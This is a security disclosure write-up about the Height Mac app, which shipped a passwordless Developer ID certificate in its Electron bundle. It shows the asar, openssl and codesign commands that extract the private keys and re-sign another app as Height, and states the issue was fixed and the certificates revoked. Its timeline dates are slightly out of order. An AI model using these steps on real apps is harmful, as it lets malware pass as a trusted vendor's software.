The following is a writeup of a vulnerability in Height’s desktop Mac app, which would allow a malicious actor to create and distribute malicious software using Height’s genuine signing certificate.
Background: Application code signing
Apple describes code signing here as follows:
Code signing is a macOS security technology that you use to certify that an app was created by you.
macOS apps distributed outside the Mac App Store are signing with a Developer ID certificate which identifies the developer behind the application.
The code signing status of an app can be viewed with the codesign
tool. For example:
$ codesign --display -vv Height.app
Executable=/Applications/Height.app/Contents/MacOS/Height
Identifier=app.height
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=502 flags=0x10000(runtime) hashes=5+7 location=embedded
Signature size=8977
Authority=Developer ID Application: HeightHQ, Inc. (H9MWYLG8FW)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=5 May 2022 at 10:14:12 AM
Notarization Ticket=stapled
Info.plist entries=31
TeamIdentifier=H9MWYLG8FW
Runtime Version=14.0.0
Sealed Resources version=2 rules=13 files=17
Internal requirements count=1 size=172
Here you can observe the Height Developer ID in the Authority
section of the above, specifying that the Height app was signed with Height’s Developer ID certificate, and genuinely originated from them.
Height
Height is a project management platform which has an Electron-based Mac app.
Electron uses ASAR bundles to include bundled source code in the resulting application. In the case of Height, the asar
bundle is stored inside the macOS app bundle in Contents/Resources/app.asar
.
Extracting source code from the ASAR bundle can be done the following command with the asar
cli:
asar extract Height.app/Contents/Resources/app.asar <EXTRACT_DIRECTORY>
After extracting this bundle, the directory looked like so:
drwx------ dist
drwx------ node_modules
-rwx------ package.json
-rwx------ readme.md
drwx------ sign
drwx------ src
-rwx------ tsconfig.json
The sign
directory contained the following:
-rwx------ Certificates-windows.p12
-rwx------@ Certificates.p12
-rwx------ entitlements.mac.plist
These .p12
files are PKCS #12 files which contains both a public and private key, and can be password-protected. In order to extract the private key from within the container, openssl
can be used:
openssl pkcs12 -legacy -nodes -in Certificates.p12 -nocerts
A prompt for Enter Import Password:
is then shown. If there is no password - as was the case here - return can be pressed and the private keys will be shown:
Bag Attributes
friendlyName: Mac Developer ID Application: HeightHQ, Inc.
localKeyID: 51 32 EE 19 84 92 9D 5D CE C3 3D EF 67 1A E2 A7 5C 85 A1 B6
Key Attributes: <No Attributes>
-----BEGIN PRIVATE KEY-----
<REDACTED>
-----END PRIVATE KEY-----
Bag Attributes
friendlyName: Mac Developer ID Installer: HeightHQ, Inc.
localKeyID: A5 6E B5 06 A6 84 C4 AE 3E FB C5 51 A7 99 74 DE C8 D3 28 7C
Key Attributes: <No Attributes>
-----BEGIN PRIVATE KEY-----
<REDACTED>
-----END PRIVATE KEY-----
(note that private key material has been obscured with <REDACTED>
above)
Since this is the private key of the Developer ID certificate, other actors can sign apps which appear to originate from Height.
For example, here’s an adhoc-signed app bundle which was archived from Xcode:
$ codesign --display -vv SampleApp.app
Executable=/Applications/SampleApp.app/Contents/MacOS/SampleApp
Identifier=com.joshparnham.SampleApp
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=506 flags=0x10002(adhoc,runtime) hashes=5+7 location=embedded
Signature=adhoc
Info.plist entries=21
TeamIdentifier=not set
Runtime Version=14.5.0
Sealed Resources version=2 rules=13 files=1
Internal requirements count=0 size=12
After importing the .p12
into Keychain Access.app
, the following command can be run to then sign the app bundle with the Height Developer ID certificate:
$ codesign --force --deep --sign "Developer ID Application: HeightHQ, Inc. (H9MWYLG8FW)" SampleApp.app
Which can be verified with the codesign
tool:
$ codesign --display -vv SampleApp.app
Executable=/Applications/SampleApp.app/Contents/MacOS/SampleApp
Identifier=com.joshparnham.SampleApp
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20400 size=381 flags=0x0(none) hashes=5+3 location=embedded
Signature size=8978
Authority=Developer ID Application: HeightHQ, Inc. (H9MWYLG8FW)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=5 May 2022 at 11:27:02 AM
Info.plist entries=21
TeamIdentifier=H9MWYLG8FW
Sealed Resources version=2 rules=13 files=1
Internal requirements count=1 size=188
This issue was reported to Height and resolved in a subsequent app update.
Timeline
- 2022-05-6: Initial disclosure
- 2022-05-5: Acknowledgement
- 2022-05-10: Confirmed fix in new macOS app, and old certificates revoked